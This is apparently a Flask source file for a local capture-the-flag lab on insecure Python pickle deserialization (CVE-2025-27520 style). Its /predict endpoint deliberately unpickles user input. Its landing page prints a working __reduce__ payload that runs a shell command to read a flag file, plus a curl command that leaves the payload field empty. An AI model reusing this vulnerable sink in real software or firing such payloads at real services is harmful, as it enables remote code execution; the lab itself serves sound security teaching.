# app.py — Day09: nicer landing page + interactive exploit UI (local-only educational lab) from flask import Flask, request, jsonify, render_template_string import base64, pickle, html app = Flask(__name__) BASE_HTML = """ Day 09 — CVE-2025-27520 (BentoML-style insecure deserialization)

Day 09 — CVE-2025-27520 (BentoML-style insecure deserialization)

Local Docker lab demonstrating insecure Python deserialization (pickle → RCE). Educational only.

Overview

This lab intentionally unpickles base64-encoded payloads posted to /predict. Insecure deserialization may allow arbitrary code execution (the root cause class of CVE-2025-27520).

Quickstart

docker build -t day09-bentoml-lab . 
docker run --rm -d -p 8080:8080 --name day09 day09-bentoml-lab
open http://localhost:8080

Manual exploit (host)

Generate a base64 pickle that runs cat /opt/flag.txt, then POST it to /predict:

python - <<'PY'
import pickle, base64
class R:
  def __reduce__(self):
    import subprocess
    return (subprocess.check_output, (["cat","/opt/flag.txt"],))
print(base64.b64encode(pickle.dumps(R())).decode())
PY
PAYLOAD=$(python gen.sh) # or use the printed value
curl -X POST http://localhost:8080/predict -H "Content-Type: application/json" -d '{"data": ""}' | jq .
        

Notes

This page also provides an interactive form below to POST a payload from your browser (useful when testing locally).

""" @app.route("/", methods=["GET"]) def index(): return render_template_string(BASE_HTML) @app.route("/predict", methods=["POST"]) def predict(): """ Accepts JSON { "data": "" } OR a form field 'data' (so the interactive page can POST). WARNING: This endpoint intentionally unpickles attacker-provided bytes for educational demonstration. """ try: # accept both JSON and form POSTs if request.is_json: j = request.get_json(force=True) b64 = j.get("data", "") else: b64 = request.form.get("data", "") or request.values.get("data", "") if not b64: return jsonify({"status": "error", "error": "missing data"}), 400 raw = base64.b64decode(b64) # VULNERABLE SINK (educational): unsafe unpickling obj = pickle.loads(raw) # make result printable/safe for JSON if isinstance(obj, (bytes, bytearray)): result = obj.decode(errors="ignore") else: result = repr(obj) return jsonify({"status": "ok", "result": result}) except Exception as e: return jsonify({"status": "error", "error": str(e)}), 400 @app.route("/flag", methods=["GET"]) def flag(): # instructors-only helper (local). Returns the flag file contents if present. try: with open("/opt/flag.txt", "r") as f: return f.read(), 200, {"Content-Type": "text/plain"} except Exception: return "flag missing", 404 if __name__ == "__main__": app.run(host="0.0.0.0", port=8080)